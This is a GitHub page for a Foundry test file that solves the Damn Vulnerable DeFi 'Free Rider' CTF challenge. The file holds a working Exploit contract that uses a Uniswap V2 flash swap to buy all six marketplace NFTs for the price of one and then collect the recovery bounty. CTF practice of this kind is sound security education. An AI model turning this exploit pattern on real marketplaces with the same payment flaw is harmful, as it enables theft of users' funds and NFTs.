forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
FreeRider.t.sol
230 lines (189 loc) · 8.34 KB
/
FreeRider.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {IUniswapV2Pair} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import {IUniswapV2Factory} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {FreeRiderNFTMarketplace} from "../../src/free-rider/FreeRiderNFTMarketplace.sol";
import {FreeRiderRecoveryManager} from "../../src/free-rider/FreeRiderRecoveryManager.sol";
import {DamnValuableNFT} from "../../src/DamnValuableNFT.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract FreeRiderChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recoveryManagerOwner = makeAddr("recoveryManagerOwner");
// The NFT marketplace has 6 tokens, at 15 ETH each
uint256 constant NFT_PRICE = 15 ether;
uint256 constant AMOUNT_OF_NFTS = 6;
uint256 constant MARKETPLACE_INITIAL_ETH_BALANCE = 90 ether;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 0.1 ether;
uint256 constant BOUNTY = 45 ether;
// Initial reserves for the Uniswap V2 pool
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 15000e18;
uint256 constant UNISWAP_INITIAL_WETH_RESERVE = 9000e18;
WETH weth;
DamnValuableToken token;
IUniswapV2Factory uniswapV2Factory;
IUniswapV2Router02 uniswapV2Router;
IUniswapV2Pair uniswapPair;
FreeRiderNFTMarketplace marketplace;
DamnValuableNFT nft;
FreeRiderRecoveryManager recoveryManager;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Player starts with limited ETH balance
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
// Deploy tokens to be traded
token = new DamnValuableToken();
weth = new WETH();
// Deploy Uniswap V2 Factory and Router
uniswapV2Factory = IUniswapV2Factory(deployCode("builds/uniswap/UniswapV2Factory.json", abi.encode(address(0))));
uniswapV2Router = IUniswapV2Router02(
deployCode("builds/uniswap/UniswapV2Router02.json", abi.encode(address(uniswapV2Factory), address(weth)))
);
token.approve(address(uniswapV2Router), UNISWAP_INITIAL_TOKEN_RESERVE);
uniswapV2Router.addLiquidityETH{value: UNISWAP_INITIAL_WETH_RESERVE}(
address(token), // token to be traded against WETH
UNISWAP_INITIAL_TOKEN_RESERVE, // amountTokenDesired
0, // amountTokenMin
0, // amountETHMin
deployer, // to
block.timestamp * 2 // deadline
);
// Get a reference to the created Uniswap pair
uniswapPair = IUniswapV2Pair(uniswapV2Factory.getPair(address(token), address(weth)));
// Deploy the marketplace and get the associated ERC721 token
// The marketplace will automatically mint AMOUNT_OF_NFTS to the deployer (see `FreeRiderNFTMarketplace::constructor`)
marketplace = new FreeRiderNFTMarketplace{value: MARKETPLACE_INITIAL_ETH_BALANCE}(AMOUNT_OF_NFTS);
// Get a reference to the deployed NFT contract. Then approve the marketplace to trade them.
nft = marketplace.token();
nft.setApprovalForAll(address(marketplace), true);
// Open offers in the marketplace
uint256[] memory ids = new uint256[](AMOUNT_OF_NFTS);
uint256[] memory prices = new uint256[](AMOUNT_OF_NFTS);
for (uint256 i = 0; i < AMOUNT_OF_NFTS; i++) {
ids[i] = i;
prices[i] = NFT_PRICE;
}
marketplace.offerMany(ids, prices);
// Deploy recovery manager contract, adding the player as the beneficiary
recoveryManager =
new FreeRiderRecoveryManager{value: BOUNTY}(player, address(nft), recoveryManagerOwner, BOUNTY);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
assertEq(uniswapPair.token0(), address(weth));
assertEq(uniswapPair.token1(), address(token));
assertGt(uniswapPair.balanceOf(deployer), 0);
assertEq(nft.owner(), address(0));
assertEq(nft.rolesOf(address(marketplace)), nft.MINTER_ROLE());
// Ensure deployer owns all minted NFTs.
for (uint256 id = 0; id < AMOUNT_OF_NFTS; id++) {
assertEq(nft.ownerOf(id), deployer);
}
assertEq(marketplace.offersCount(), 6);
assertTrue(nft.isApprovedForAll(address(recoveryManager), recoveryManagerOwner));
assertEq(address(recoveryManager).balance, BOUNTY);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_freeRider() public checkSolvedByPlayer {
Exploit exploit = new Exploit{value:0.045 ether}(
address(uniswapPair),
address(marketplace),
address(weth),
address(nft),
address(recoveryManager)
);
exploit.attack();
console.log("balance of attacker:", address(player).balance / 1e15, "ETH");
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private {
// The recovery owner extracts all NFTs from its associated contract
for (uint256 tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) {
vm.prank(recoveryManagerOwner);
nft.transferFrom(address(recoveryManager), recoveryManagerOwner, tokenId);
assertEq(nft.ownerOf(tokenId), recoveryManagerOwner);
}
// Exchange must have lost NFTs and ETH
assertEq(marketplace.offersCount(), 0);
assertLt(address(marketplace).balance, MARKETPLACE_INITIAL_ETH_BALANCE);
// Player must have earned all ETH
assertGt(player.balance, BOUNTY);
assertEq(address(recoveryManager).balance, 0);
}
}
interface IMarketplace {
function buyMany(uint256[] calldata tokenIds) external payable;
}
contract Exploit {
IUniswapV2Pair public pair;
IMarketplace public marketplace;
IWETH public weth;
IERC721 public nft;
address public recoveryContract;
address public player;
uint256 private constant NFT_PRICE = 15 ether;
uint256[] private tokens = [0, 1, 2, 3, 4, 5];
constructor(address _pair, address _marketplace, address _weth, address _nft, address _recoveryContract)payable{
pair = IUniswapV2Pair(_pair);
marketplace = IMarketplace(_marketplace);
weth = IWETH(_weth);
nft = IERC721(_nft);
recoveryContract = _recoveryContract;
player = msg.sender;
}
function attack() external payable {
// 1. Request a flashSwap of 15 WETH from Uniswap Pair
pair.swap(NFT_PRICE, 0, address(this), "1");
}
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
// Access Control
require(msg.sender == address(pair));
require(tx.origin == player);
// 2. Unwrap WETH to native ETH
weth.withdraw(NFT_PRICE);
// 3. Buy 6 NFTS for only 15 ETH total
marketplace.buyMany{value: NFT_PRICE}(tokens);
// 4. Pay back 15WETH + 0.3% to the pair contract
uint256 amountToPayBack = NFT_PRICE * 1004 / 1000;
weth.deposit{value: amountToPayBack}();
weth.transfer(address(pair), amountToPayBack);
// 5. Send NFTs to recovery contract so we can get the bounty
bytes memory data = abi.encode(player);
for(uint256 i; i < tokens.length; i++){
nft.safeTransferFrom(address(this), recoveryContract, i, data);
}
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}